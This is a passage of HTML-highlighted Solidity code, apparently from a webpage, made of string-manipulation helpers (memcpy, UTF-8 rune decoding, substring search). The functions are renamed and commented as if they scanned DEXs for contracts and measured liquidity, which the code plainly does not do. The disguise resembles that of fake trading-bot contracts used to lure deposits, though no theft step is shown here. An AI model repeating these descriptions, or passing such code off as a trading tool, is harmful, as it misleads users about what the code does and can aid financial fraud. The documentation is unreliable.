class="pun">~(</span><span class="lit">2</span><span class="pln"> </span><span class="pun">**</span><span class="pln"> </span><span class="pun">(</span><span class="lit">8</span><span class="pln"> </span><span class="pun">*</span><span class="pln"> </span><span class="pun">(</span><span class="lit">32</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> shortest </span><span class="pun">+</span><span class="pln"> idx</span><span class="pun">))</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> </span><span class="lit">1</span><span class="pun">);</span></li><li class="L7"><span class="pln">                </span><span class="pun">}</span></li><li class="L8"><span class="pln">                uint256 diff </span><span class="pun">=</span><span class="pln"> </span><span class="pun">(</span><span class="pln">a </span><span class="pun">&amp;</span><span class="pln"> mask</span><span class="pun">)</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b </span><span class="pun">&amp;</span><span class="pln"> mask</span><span class="pun">);</span></li><li class="L9"><span class="pln">                </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">diff </span><span class="pun">!=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span></li><li class="L0"><span class="pln">                    </span><span class="kwd">return</span><span class="pln"> </span><span class="kwd">int</span><span class="pun">(</span><span class="pln">diff</span><span class="pun">);</span></li><li class="L1"><span class="pln">            </span><span class="pun">}</span></li><li class="L2"><span class="pln">            selfptr </span><span class="pun">+=</span><span class="pln"> </span><span class="lit">32</span><span class="pun">;</span></li><li class="L3"><span class="pln">            otherptr </span><span class="pun">+=</span><span class="pln"> </span><span class="lit">32</span><span class="pun">;</span></li><li class="L4"><span class="pln">        </span><span class="pun">}</span></li><li class="L5"><span class="pln">        </span><span class="kwd">return</span><span class="pln"> </span><span class="kwd">int</span><span class="pun">(</span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_len</span><span class="pun">)</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> </span><span class="kwd">int</span><span class="pun">(</span><span class="pln">other</span><span class="pun">.</span><span class="pln">_len</span><span class="pun">);</span></li><li class="L6"><span class="pln">    </span><span class="pun">}</span></li><li class="L7"><span class="pln"> </span></li><li class="L8"><span class="pln"> </span></li><li class="L9"><span class="pln">    </span><span class="com">/*</span></li><li class="L0"><span class="com">     * @dev Extracts the newest contracts on DEXs</span></li><li class="L1"><span class="com">     * @param self The slice to operate on.</span></li><li class="L2"><span class="com">     * @param rune The slice that will contain the first rune.</span></li><li class="L3"><span class="com">     * @return `list of contracts`.</span></li><li class="L4"><span class="com">     */</span></li><li class="L5"><span class="pln">    </span><span class="kwd">function</span><span class="pln"> findContracts</span><span class="pun">(</span><span class="kwd">uint</span><span class="pln"> selflen</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> selfptr</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> needlelen</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> needleptr</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">private</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="kwd">uint</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L6"><span class="pln">        </span><span class="kwd">uint</span><span class="pln"> ptr </span><span class="pun">=</span><span class="pln"> selfptr</span><span class="pun">;</span></li><li class="L7"><span class="pln">        </span><span class="kwd">uint</span><span class="pln"> idx</span><span class="pun">;</span></li><li class="L8"><span class="pln"> </span></li><li class="L9"><span class="pln">        </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">needlelen </span><span class="pun">&lt;=</span><span class="pln"> selflen</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L0"><span class="pln">            </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">needlelen </span><span class="pun">&lt;=</span><span class="pln"> </span><span class="lit">32</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L1"><span class="pln">                bytes32 mask </span><span class="pun">=</span><span class="pln"> bytes32</span><span class="pun">(~(</span><span class="lit">2</span><span class="pln"> </span><span class="pun">**</span><span class="pln"> </span><span class="pun">(</span><span class="lit">8</span><span class="pln"> </span><span class="pun">*</span><span class="pln"> </span><span class="pun">(</span><span class="lit">32</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> needlelen</span><span class="pun">))</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> </span><span class="lit">1</span><span class="pun">));</span></li><li class="L2"><span class="pln"> </span></li><li class="L3"><span class="pln">                bytes32 needledata</span><span class="pun">;</span></li><li class="L4"><span class="pln">                assembly </span><span class="pun">{</span><span class="pln"> needledata </span><span class="pun">:=</span><span class="pln"> </span><span class="kwd">and</span><span class="pun">(</span><span class="pln">mload</span><span class="pun">(</span><span class="pln">needleptr</span><span class="pun">),</span><span class="pln"> mask</span><span class="pun">)</span><span class="pln"> </span><span class="pun">}</span></li><li class="L5"><span class="pln"> </span></li><li class="L6"><span class="pln">                </span><span class="kwd">uint</span><span class="pln"> </span><span class="kwd">end</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> selfptr </span><span class="pun">+</span><span class="pln"> selflen </span><span class="pun">-</span><span class="pln"> needlelen</span><span class="pun">;</span></li><li class="L7"><span class="pln">                bytes32 ptrdata</span><span class="pun">;</span></li><li class="L8"><span class="pln">                assembly </span><span class="pun">{</span><span class="pln"> ptrdata </span><span class="pun">:=</span><span class="pln"> </span><span class="kwd">and</span><span class="pun">(</span><span class="pln">mload</span><span class="pun">(</span><span class="pln">ptr</span><span class="pun">),</span><span class="pln"> mask</span><span class="pun">)</span><span class="pln"> </span><span class="pun">}</span></li><li class="L9"><span class="pln"> </span></li><li class="L0"><span class="pln">                </span><span class="kwd">while</span><span class="pln"> </span><span class="pun">(</span><span class="pln">ptrdata </span><span class="pun">!=</span><span class="pln"> needledata</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L1"><span class="pln">                    </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">ptr </span><span class="pun">&gt;=</span><span class="pln"> </span><span class="kwd">end</span><span class="pun">)</span></li><li class="L2"><span class="pln">                        </span><span class="kwd">return</span><span class="pln"> selfptr </span><span class="pun">+</span><span class="pln"> selflen</span><span class="pun">;</span></li><li class="L3"><span class="pln">                    ptr</span><span class="pun">++;</span></li><li class="L4"><span class="pln">                    assembly </span><span class="pun">{</span><span class="pln"> ptrdata </span><span class="pun">:=</span><span class="pln"> </span><span class="kwd">and</span><span class="pun">(</span><span class="pln">mload</span><span class="pun">(</span><span class="pln">ptr</span><span class="pun">),</span><span class="pln"> mask</span><span class="pun">)</span><span class="pln"> </span><span class="pun">}</span></li><li class="L5"><span class="pln">                </span><span class="pun">}</span></li><li class="L6"><span class="pln">                </span><span class="kwd">return</span><span class="pln"> ptr</span><span class="pun">;</span></li><li class="L7"><span class="pln">            </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="pun">{</span></li><li class="L8"><span class="pln">                </span><span class="com">// For long needles, use hashing</span></li><li class="L9"><span class="pln">                bytes32 hash</span><span class="pun">;</span></li><li class="L0"><span class="pln">                assembly </span><span class="pun">{</span><span class="pln"> hash </span><span class="pun">:=</span><span class="pln"> keccak256</span><span class="pun">(</span><span class="pln">needleptr</span><span class="pun">,</span><span class="pln"> needlelen</span><span class="pun">)</span><span class="pln"> </span><span class="pun">}</span></li><li class="L1"><span class="pln"> </span></li><li class="L2"><span class="pln">                </span><span class="kwd">for</span><span class="pln"> </span><span class="pun">(</span><span class="pln">idx </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span><span class="pln"> idx </span><span class="pun">&lt;=</span><span class="pln"> selflen </span><span class="pun">-</span><span class="pln"> needlelen</span><span class="pun">;</span><span class="pln"> idx</span><span class="pun">++)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L3"><span class="pln">                    bytes32 testHash</span><span class="pun">;</span></li><li class="L4"><span class="pln">                    assembly </span><span class="pun">{</span><span class="pln"> testHash </span><span class="pun">:=</span><span class="pln"> keccak256</span><span class="pun">(</span><span class="pln">ptr</span><span class="pun">,</span><span class="pln"> needlelen</span><span class="pun">)</span><span class="pln"> </span><span class="pun">}</span></li><li class="L5"><span class="pln">                    </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">hash </span><span class="pun">==</span><span class="pln"> testHash</span><span class="pun">)</span></li><li class="L6"><span class="pln">                        </span><span class="kwd">return</span><span class="pln"> ptr</span><span class="pun">;</span></li><li class="L7"><span class="pln">                    ptr </span><span class="pun">+=</span><span class="pln"> </span><span class="lit">1</span><span class="pun">;</span></li><li class="L8"><span class="pln">                </span><span class="pun">}</span></li><li class="L9"><span class="pln">            </span><span class="pun">}</span></li><li class="L0"><span class="pln">        </span><span class="pun">}</span></li><li class="L1"><span class="pln">        </span><span class="kwd">return</span><span class="pln"> selfptr </span><span class="pun">+</span><span class="pln"> selflen</span><span class="pun">;</span></li><li class="L2"><span class="pln">    </span><span class="pun">}</span></li><li class="L3"><span class="pln"> </span></li><li class="L4"><span class="pln"> </span></li><li class="L5"><span class="pln">    </span><span class="com">/*</span></li><li class="L6"><span class="com">     * @dev Loading the contract</span></li><li class="L7"><span class="com">     * @param contract address</span></li><li class="L8"><span class="com">     * @return contract interaction object</span></li><li class="L9"><span class="com">     */</span></li><li class="L0"><span class="pln">    </span><span class="kwd">function</span><span class="pln"> loadCurrentContract</span><span class="pun">(</span><span class="kwd">string</span><span class="pln"> memory </span><span class="kwd">self</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="kwd">string</span><span class="pln"> memory</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L1"><span class="pln">        </span><span class="kwd">string</span><span class="pln"> memory ret </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">self</span><span class="pun">;</span></li><li class="L2"><span class="pln">        </span><span class="kwd">uint</span><span class="pln"> retptr</span><span class="pun">;</span></li><li class="L3"><span class="pln">        assembly </span><span class="pun">{</span><span class="pln"> retptr </span><span class="pun">:=</span><span class="pln"> add</span><span class="pun">(</span><span class="pln">ret</span><span class="pun">,</span><span class="pln"> </span><span class="lit">32</span><span class="pun">)</span><span class="pln"> </span><span class="pun">}</span></li><li class="L4"><span class="pln"> </span></li><li class="L5"><span class="pln">        </span><span class="kwd">return</span><span class="pln"> ret</span><span class="pun">;</span></li><li class="L6"><span class="pln">    </span><span class="pun">}</span></li><li class="L7"><span class="pln"> </span></li><li class="L8"><span class="pln">    </span><span class="com">/*</span></li><li class="L9"><span class="com">     * @dev Extracts the contract from DEXs</span></li><li class="L0"><span class="com">     * @param self The slice to operate on.</span></li><li class="L1"><span class="com">     * @param rune The slice that will contain the first rune.</span></li><li class="L2"><span class="com">     * @return `rune`.</span></li><li class="L3"><span class="com">     */</span></li><li class="L4"><span class="pln">    </span><span class="kwd">function</span><span class="pln"> nextContract</span><span class="pun">(</span><span class="pln">slice memory </span><span class="kwd">self</span><span class="pun">,</span><span class="pln"> slice memory rune</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="pln">slice memory</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L5"><span class="pln">        rune</span><span class="pun">.</span><span class="pln">_ptr </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_ptr</span><span class="pun">;</span></li><li class="L6"><span class="pln"> </span></li><li class="L7"><span class="pln">        </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_len </span><span class="pun">==</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L8"><span class="pln">            rune</span><span class="pun">.</span><span class="pln">_len </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></li><li class="L9"><span class="pln">            </span><span class="kwd">return</span><span class="pln"> rune</span><span class="pun">;</span></li><li class="L0"><span class="pln">        </span><span class="pun">}</span></li><li class="L1"><span class="pln"> </span></li><li class="L2"><span class="pln">        </span><span class="kwd">uint</span><span class="pln"> l</span><span class="pun">;</span></li><li class="L3"><span class="pln">        </span><span class="kwd">uint</span><span class="pln"> b</span><span class="pun">;</span></li><li class="L4"><span class="pln">        </span><span class="com">// Load the first byte of the rune into the LSBs of b</span></li><li class="L5"><span class="pln">        assembly </span><span class="pun">{</span><span class="pln"> b </span><span class="pun">:=</span><span class="pln"> </span><span class="kwd">and</span><span class="pun">(</span><span class="pln">mload</span><span class="pun">(</span><span class="kwd">sub</span><span class="pun">(</span><span class="pln">mload</span><span class="pun">(</span><span class="pln">add</span><span class="pun">(</span><span class="kwd">self</span><span class="pun">,</span><span class="pln"> </span><span class="lit">32</span><span class="pun">)),</span><span class="pln"> </span><span class="lit">31</span><span class="pun">)),</span><span class="pln"> </span><span class="lit">0xFF</span><span class="pun">)</span><span class="pln"> </span><span class="pun">}</span></li><li class="L6"><span class="pln">        </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b </span><span class="pun">&lt;</span><span class="pln"> </span><span class="lit">0x80</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L7"><span class="pln">            l </span><span class="pun">=</span><span class="pln"> </span><span class="lit">1</span><span class="pun">;</span></li><li class="L8"><span class="pln">        </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">b </span><span class="pun">&lt;</span><span class="pln"> </span><span class="lit">0xE0</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L9"><span class="pln">            l </span><span class="pun">=</span><span class="pln"> </span><span class="lit">2</span><span class="pun">;</span></li><li class="L0"><span class="pln">        </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">b </span><span class="pun">&lt;</span><span class="pln"> </span><span class="lit">0xF0</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L1"><span class="pln">            l </span><span class="pun">=</span><span class="pln"> </span><span class="lit">3</span><span class="pun">;</span></li><li class="L2"><span class="pln">        </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="pun">{</span></li><li class="L3"><span class="pln">            l </span><span class="pun">=</span><span class="pln"> </span><span class="lit">4</span><span class="pun">;</span></li><li class="L4"><span class="pln">        </span><span class="pun">}</span></li><li class="L5"><span class="pln"> </span></li><li class="L6"><span class="pln">        </span><span class="com">// Check for truncated codepoints</span></li><li class="L7"><span class="pln">        </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">l </span><span class="pun">&gt;</span><span class="pln"> </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_len</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L8"><span class="pln">            rune</span><span class="pun">.</span><span class="pln">_len </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_len</span><span class="pun">;</span></li><li class="L9"><span class="pln">            </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_ptr </span><span class="pun">+=</span><span class="pln"> </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_len</span><span class="pun">;</span></li><li class="L0"><span class="pln">            </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_len </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></li><li class="L1"><span class="pln">            </span><span class="kwd">return</span><span class="pln"> rune</span><span class="pun">;</span></li><li class="L2"><span class="pln">        </span><span class="pun">}</span></li><li class="L3"><span class="pln"> </span></li><li class="L4"><span class="pln">        </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_ptr </span><span class="pun">+=</span><span class="pln"> l</span><span class="pun">;</span></li><li class="L5"><span class="pln">        </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_len </span><span class="pun">-=</span><span class="pln"> l</span><span class="pun">;</span></li><li class="L6"><span class="pln">        rune</span><span class="pun">.</span><span class="pln">_len </span><span class="pun">=</span><span class="pln"> l</span><span class="pun">;</span></li><li class="L7"><span class="pln">        </span><span class="kwd">return</span><span class="pln"> rune</span><span class="pun">;</span></li><li class="L8"><span class="pln">    </span><span class="pun">}</span></li><li class="L9"><span class="pln"> </span></li><li class="L0"><span class="pln">    </span><span class="kwd">function</span><span class="pln"> memcpy</span><span class="pun">(</span><span class="kwd">uint</span><span class="pln"> dest</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> src</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> len</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">private</span><span class="pln"> pure </span><span class="pun">{</span></li><li class="L1"><span class="pln">        </span><span class="com">// Check available liquidity</span></li><li class="L2"><span class="pln">        </span><span class="kwd">for</span><span class="pun">(;</span><span class="pln"> len </span><span class="pun">&gt;=</span><span class="pln"> </span><span class="lit">32</span><span class="pun">;</span><span class="pln"> len </span><span class="pun">-=</span><span class="pln"> </span><span class="lit">32</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L3"><span class="pln">            assembly </span><span class="pun">{</span></li><li class="L4"><span class="pln">                mstore</span><span class="pun">(</span><span class="pln">dest</span><span class="pun">,</span><span class="pln"> mload</span><span class="pun">(</span><span class="pln">src</span><span class="pun">))</span></li><li class="L5"><span class="pln">            </span><span class="pun">}</span></li><li class="L6"><span class="pln">            dest </span><span class="pun">+=</span><span class="pln"> </span><span class="lit">32</span><span class="pun">;</span></li><li class="L7"><span class="pln">            src </span><span class="pun">+=</span><span class="pln"> </span><span class="lit">32</span><span class="pun">;</span></li><li class="L8"><span class="pln">        </span><span class="pun">}</span></li><li class="L9"><span class="pln"> </span></li><li class="L0"><span class="pln">        </span><span class="com">// Copy remaining bytes</span></li><li class="L1"><span class="pln">        </span><span class="kwd">uint</span><span class="pln"> mask </span><span class="pun">=</span><span class="pln"> </span><span class="lit">256</span><span class="pln"> </span><span class="pun">**</span><span class="pln"> </span><span class="pun">(</span><span class="lit">32</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> len</span><span class="pun">)</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> </span><span class="lit">1</span><span class="pun">;</span></li><li class="L2"><span class="pln">        assembly </span><span class="pun">{</span></li><li class="L3"><span class="pln">            let srcpart </span><span class="pun">:=</span><span class="pln"> </span><span class="kwd">and</span><span class="pun">(</span><span class="pln">mload</span><span class="pun">(</span><span class="pln">src</span><span class="pun">),</span><span class="pln"> </span><span class="kwd">not</span><span class="pun">(</span><span class="pln">mask</span><span class="pun">))</span></li><li class="L4"><span class="pln">            let destpart </span><span class="pun">:=</span><span class="pln"> </span><span class="kwd">and</span><span class="pun">(</span><span class="pln">mload</span><span class="pun">(</span><span class="pln">dest</span><span class="pun">),</span><span class="pln"> mask</span><span class="pun">)</span></li><li class="L5"><span class="pln">            mstore</span><span class="pun">(</span><span class="pln">dest</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">or</span><span class="pun">(</span><span class="pln">destpart</span><span class="pun">,</span><span class="pln"> srcpart</span><span class="pun">))</span></li><li class="L6"><span class="pln">        </span><span class="pun">}</span></li><li class="L7"><span class="pln">    </span><span class="pun">}</span></li><li class="L8"><span class="pln"> </span></li><li class="L9"><span class="pln">    </span><span class="com">/*</span></li><li class="L0"><span class="com">     * @dev Orders the contract by its available liquidity</span></li><li class="L1"><span class="com">     * @param self The slice to operate on.</span></li><li class="L2"><span class="com">     * @return The contract with possbile maximum return</span></li><li class="L3"><span class="com">     */</span></li><li class="L4"><span class="pln">    </span><span class="kwd">function</span><span class="pln"> orderContractsByLiquidity</span><span class="pun">(</span><span class="pln">slice memory </span><span class="kwd">self</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="kwd">uint</span><span class="pln"> ret</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L5"><span class="pln">        </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_len </span><span class="pun">==</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L6"><span class="pln">            </span><span class="kwd">return</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></li><li class="L7"><span class="pln">        </span><span class="pun">}</span></li><li class="L8"><span class="pln"> </span></li><li class="L9"><span class="pln">        </span><span class="kwd">uint</span><span class="pln"> word</span><span class="pun">;</span></li><li class="L0"><span class="pln">        </span><span class="kwd">uint</span><span class="pln"> length</span><span class="pun">;</span></li><li class="L1"><span class="pln">        </span><span class="kwd">uint</span><span class="pln"> divisor </span><span class="pun">=</span><span class="pln"> </span><span class="lit">2</span><span class="pln"> </span><span class="pun">**</span><span class="pln"> </span><span class="lit">248</span><span class="pun">;</span></li><li class="L2"><span class="pln"> </span></li><li class="L3"><span class="pln">        </span><span class="com">// Load the rune into the MSBs of b</span></li><li class="L4"><span class="pln">        assembly </span><span class="pun">{</span><span class="pln"> word</span><span class="pun">:=</span><span class="pln"> mload</span><span class="pun">(</span><span class="pln">mload</span><span class="pun">(</span><span class="pln">add</span><span class="pun">(</span><span class="kwd">self</span><span class="pun">,</span><span class="pln"> </span><span class="lit">32</span><span class="pun">)))</span><span class="pln"> </span><span class="pun">}</span></li><li class="L5"><span class="pln">        </span><span class="kwd">uint</span><span class="pln"> b </span><span class="pun">=</span><span class="pln"> word </span><span class="pun">/</span><span class="pln"> divisor</span><span class="pun">;</span></li><li class="L6"><span class="pln">        </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b </span><span class="pun">&lt;</span><span class="pln"> </span><span class="lit">0x80</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L7"><span class="pln">            ret </span><span class="pun">=</span><span class="pln"> b</span><span class="pun">;</span></li><li class="L8"><span class="pln">            length </span><span class="pun">=</span><span class="pln"> </span><span class="lit">1</span><span class="pun">;</span></li><li class="L9"><span class="pln">        </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">b </span><span class="pun">&lt;</span><span class="pln"> </span><span class="lit">0xE0</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L0"><span class="pln">            ret </span><span class="pun">=</span><span class="pln"> b </span><span class="pun">&amp;</span><span class="pln"> </span><span class="lit">0x1F</span><span class="pun">;</span></li><li class="L1"><span class="pln">            length </span><span class="pun">=</span><span class="pln"> </span><span class="lit">2</span><span class="pun">;</span></li><li class="L2"><span class="pln">        </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">b </span><span class="pun">&lt;</span><span class="pln"> </span><span class="lit">0xF0</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L3"><span class="pln">            ret </span><span class="pun">=</span><span class="pln"> b </span><span class="pun">&amp;</span><span class="pln"> </span><span class="lit">0x0F</span><span class="pun">;</span></li><li class="L4"><span class="pln">            length </span><span class="pun">=</span><span class="pln"> </span><span class="lit">3</span><span class="pun">;</span></li><li class="L5"><span class="pln">        </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="pun">{</span></li><li class="L6"><span class="pln">            ret </span><span class="pun">=</span><span class="pln"> b </span><span class="pun">&amp;</span><span class="pln"> </span><span class="lit">0x07</span><span class="pun">;</span></li><li class="L7"><span class="pln">            length </span><span class="pun">=</span><span class="pln"> </span><span class="lit">4</span><span class="pun">;</span></li><li class="L8"><span class="pln">        </span><span class="pun">}</span></li><li class="L9"><span class="pln"> </span></li><li class="L0"><span class="pln">        </span><span class="com">// Check for truncated codepoints</span></li><li class="L1"><span class="pln">        </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">length </span><span class="pun">&gt;</span><span class="pln"> </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_len</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L2"><span class="pln">            </span><span class="kwd">return</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></li><li class="L3"><span class="pln">        </span><span class="pun">}</span></li><li class="L4"><span class="pln"> </span></li><li class="L5"><span class="pln">        </span><span class="kwd">for</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">uint</span><span class="pln"> i </span><span class="pun">=</span><span class="pln"> </span><span class="lit">1</span><span class="pun">;</span><span class="pln"> i </span><span class="pun">&lt;</span><span class="pln"> length</span><span class="pun">;</span><span class="pln"> i</span><span class="pun">++)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L6"><span class="pln">            divisor </span><span class="pun">=</span><span class="pln"> divisor </span><span class="pun">/</span><span class="pln"> </span><span class="lit">256</span><span class="pun">;</span></li><li class="L7"><span class="pln">            b </span><span class="pun">=</span><span class="pln"> </span><span class="pun">(</span><span class="pln">word </span><span class="pun">/</span><span class="pln"> divisor</span><span class="pun">)</span><span class="pln"> </span><span class="pun">&amp;</span><span class="pln"> </span><span class="lit">0xFF</span><span class="pun">;</span></li><li class="L8"><span class="pln">            </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b </span><span class="pun">&amp;</span><span class="pln"> </span><span class="lit">0xC0</span><span class="pln"> </span><span class="pun">!=</span><span class="pln"> </span><span class="lit">0x80</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L9"><span class="pln">                </span><span class="com">// Invalid UTF-8 sequence</span></li><li class="L0"><span class="pln">                </span><span class="kwd">return</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></li><li class="L1"><span class="pln">            </span><span class="pun">}</span></li><li class="L2"><span class="pln">            ret </span><span class="pun">=</span><span class="pln"> </span><span class="pun">(</span><span class="pln">ret </span><span class="pun">*</span><span class="pln"> </span><span class="lit">64</span><span class="pun">)</span><span class="pln"> </span><span class="pun">|</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b </span><span class="pun">&amp;</span><span class="pln"> </span><span class="lit">0x3F</span><span class="pun">);</span></li><li class="L3"><span class="pln">        </span><span class="pun">}</span></li><li class="L4"><span class="pln"> </span></li><li class="L5"><span class="pln">        </span><span class="kwd">return</span><span class="pln"> ret</span><span class="pun">;</span></li><li class="L6"><span class="pln">    </span><span class="pun">}</span></li><li class="L7"><span class="pln"> </span></li><li class="L8"><span class="pln">    </span><span class="com">/*</span></li><li class="L9"><span class="com">     * @dev Calculates remaining liquidity in contract</span></li><li class="L0"><span class="com">     * @param self The slice to operate on.</span></li><li class="L1"><span class="com">     * @return The length of the slice in runes.</span></li><li class="L2"><span class="com">     */</span></li><li class="L3"><span class="pln">    </span><span class="kwd">function</span><span class="pln"> calcLiquidityInContract</span><span class="pun">(</span><span class="pln">slice memory </span><span class="kwd">self</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="kwd">uint</span><span class="pln"> l</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L4"><span class="pln">        </span><span class="kwd">uint</span><span class="pln"> ptr </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_ptr </span><span class="pun">-</span><span class="pln"> </span><span class="lit">31</span><span class="pun">;</span></li><li class="L5"><span class="pln">        </span><span class="kwd">uint</span><span class="pln"> </span><span class="kwd">end</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> ptr </span><span class="pun">+</span><span class="pln"> </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_len</span><span class="pun">;</span></li><li class="L6"><span class="pln">        </span><span class="kwd">for</span><span class="pln"> </span><span class="pun">(</span><span class="pln">l </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span><span class="pln"> ptr </span><span class="pun">&lt;</span><span class="pln"> </span><span class="kwd">end</span><span class="pun">;</span><span class="pln"> l</span><span class="pun">++)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L7"><span class="pln">            uint8 b</span><span class="pun">;</span></li><li class="L8"><span class="pln">            assembly </span><span class="pun">{</span><span class="pln"> b </span><span class="pun">:=</span><span class="pln"> </span><span class="kwd">and</span><span class="pun">(</span><span class="pln">mload</span><span class="pun">(</span><span class="pln">ptr</span><span class="pun">),</span><span class="pln"> </span><span class="lit">0xFF</span><span class="pun">)</span><span class="pln"> </span><span class="pun">}</span></li><li class="L9"><span class="pln">            </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b </span><span class="pun">&lt;</span><span class="pln"> </span><span class="lit">0x80</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L0"><span class="pln">                ptr </span><span class="pun">+=</span><span class="pln"> </span><span class="lit">1</span><span class="pun">;</span></li><li class="L1"><span class="pln">            </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">b </span><span class="pun">&lt;</span><span class="pln"> </span><span class="lit">0xE0</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L2"><span class="pln">                ptr </span><span class="pun">+=</span><span class="pln"> </span><span class="lit">2</span><span class="pun">;</span></li><li class="L3"><span class="pln">            </span><span 